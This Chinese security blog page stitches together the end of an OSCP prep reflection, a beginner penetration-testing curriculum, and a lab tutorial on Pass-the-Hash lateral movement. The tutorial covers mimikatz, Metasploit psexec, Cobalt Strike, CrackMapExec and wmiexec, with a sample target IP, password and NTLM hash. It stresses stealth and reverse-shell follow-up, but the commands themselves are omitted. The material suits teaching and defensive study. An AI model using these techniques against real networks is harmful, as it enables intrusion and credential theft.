IppSec :IppSec的youtube频道,也是HTB官方的,同样的也可以学习到很多技巧。

我觉得一旦你觉得要准备OSCP的时候,一定要好好跟家里人/女朋友/老婆沟通,跟他们解释为什么你需要那么多时间自己一个人在电脑前鼓捣。我觉得整个备考期间我牺牲了好多跟女友和家里人相处的时间,每每回想总是心中有愧,我要感谢我的女友小头,她一直很理解和支持我去做这一切,接下来我想花多点时间陪伴身边的人。

新手小白想学习渗透和网络安全,从哪里入手?

基础到入门的学习路线

一、网络安全

网络基础

网络概述

(行业背景+就业方向+课程体系结构)

Vmware

IP地址的概述与应用

DOS命令与批处理

Windows服务安全

用户管理

破解系统用户密码

NTFS权限

文件服务器

DNS服务

DHCP服务

IIS服务

活动目录

域控管理

组策略(一)

组策略(二)

安全策略

PKI与证书服务

windows安全基线

Windows server 2003安全配置基线

阶段综合项目一

以太网交换与路由技术

回顾windows服务

OSI协议簇

交换机的基本原理与配置

IP包头分析与静态路由

分析ARP攻击与欺骗

虚拟局域网VLAN

VTP

单臂路由与DHCP

子网划分VLSM

高级网络技术

回顾

三层交换

ACL-1

ACL-2

网络地址转换

动态路由协议RIP

ipsec VPN

VPN远程访问

网络安全基线

Cisco基础网络设备安全配置基线

安全设备防护

防火墙原理及部署方式

防火墙高级配置

IDS

WAF

阶段综合项目二

二、服务安全

Linux安全运维

Linux操作系统介绍与安装与目录结构分析

Linux系统的基本操作与软件安装

Linux系统下用户以及权限管理

网络配置与日志服务器建立应急思路

建立php主页解析以及主页的访问控制

Nginx服务都建立以及tomcat负载均衡

iptables包过滤与网络地址转换

实用型脚本案例

阶段综合项目三

三、代码安全

前端代码安全

HTML语言

CSS盒子模型

JS概述与变量

JS数据类型

JS函数

程序的流程控制

条件判断与等值判断结构

循环结构

JS数组

数据库安全

sqlserver

access

oracle

mysql

后台代码安全

PHP基础

PHP语法

PHP流程控制与数组

PHP代码审计中常用函数

PHP操作mysql数据库

PHP代码审计(一)

PHP代码审计(二)

Python安全应用

初识python上篇

初识python下篇

基础进阶与对象和数字

字符串列表和元祖

字典条件循环和标准输入输出

错误异常函数基础

函数的高级应用和模块

面向对象编程与组合及派生

正则表达式和爬虫

socket套接字

四、渗透测试

渗透测试导论

渗透测试方法论

法律法规与道德

Web 工作机制

HTTP 协议

Cookie 与session

同源策略

情报收集

DNS

DNS 解析

IP 查询

主机测探与端口扫描

网络漏洞扫描

Web 漏洞扫描

其他工具

口令破解

口令安全威胁

破解方式

windows 口令破解

Linux 口令破解

网络服务口令破解

在线密码查询网站

常见的漏洞攻防

SQL 注入基础

四大基本手法

其他注入手法

SQLmap 的使用

XSS 漏洞概述

XSS 的分类

XSS的构造

XSS 的变形

Shellcode 的调用

XSS 通关挑战

实战:Session 劫持

PHP 代码执行

OS 命令执行

文件上传漏洞原理概述

WebShell 概述

文件上传漏洞的危害

常见的漏洞攻防

PUT 方法上传文件

.htaccess 攻击

图片木马的制作

upload-labs 上传挑战

Web容器解析漏洞

开源编辑器上传漏洞

开源CMS 上传漏洞

PHP 中的文件包含语句

文件包含示例

漏洞原理及特点

Null 字符问题

文件包含漏洞的利用

业务安全概述

业务安全测试流程

业务数据安全

密码找回安全

CSRF

SSRF

提权与后渗透

服务器提权技术

隧道技术

缓冲区溢出原理

Metasploit Framework

前言

urllib2

SQL 注入POC 到EXP

定制EXP

案例:Oracle Weblogic CVE2017-10271 RCE

案例:JBoss AS 6.X 反序列化

五、项目实战

漏洞复现

内网靶机实战

内网攻防对抗

安全服务规范

安全众测项目实战

外网渗透测试实战

六、安全素养

网络安全行业导论

网络安全岗位职责分析

网络安全法认知

网络安全认证

职业人素质

横向渗透之Pass The Hash

在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。

横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。

Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。

常常适用于域/工作组环境。

靶机:windows server 2008

IP:10.211.55.19

domain:workgroup

user:administrator

pass:cseroad@2008

NTLM-Hash:82c58d8cec50de01fd109613369c158e

psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是: 通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。

如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec

缺点:容易被杀软检测到

优点:可以直接获取system权限

因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。

mimikatz中pth功能的原理:

windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。

正常访问server 2008 的盘符是需要用户名密码的。

在windows7上经过pth之后就不需要密码就可以远程连接。

将获取的hash添加进lsass中。

在windows 7 上执行以下命令:

执行后会弹出cmd。在cmd下执行 net use \\10.211.55.19\c$ 命令就可以远程连接。

扩展:

假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。

powershell.bat为

当重启10.211.55.8机器后,metasploit可得到session

笔者经常使用时的是这三个模块

以exploit/windows/smb/psexec模块为例

值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)

成功返回system权限。

CobalStrike 同样有psexec选项。

在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。

选择View--Target--Login--psexec,可批量选择主机pth。

选择pth的用户名和hash值。

从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。

该工具可以对C段主机批量pth。

项目在 github

在kali上直接apt就可以安装

对工作组批量pth命令如下

测试的时候发现某些命令执行后没有回显。

更多资料参考:

CrackMapExec:域环境渗透中的瑞士军刀

红队测试工具-CrackMapExec-远程执行Windows命令

wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。

安装成功后,切换到examples目录下

运行命令为

先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

如果要执行系统命令。可以加-Command 参数

执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。

在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

以上所有操作均针对的SID 500。

内网渗透之PTHPTTPTK

横向移动

丢掉PSEXEC来横向渗透

0条大神的评论

发表评论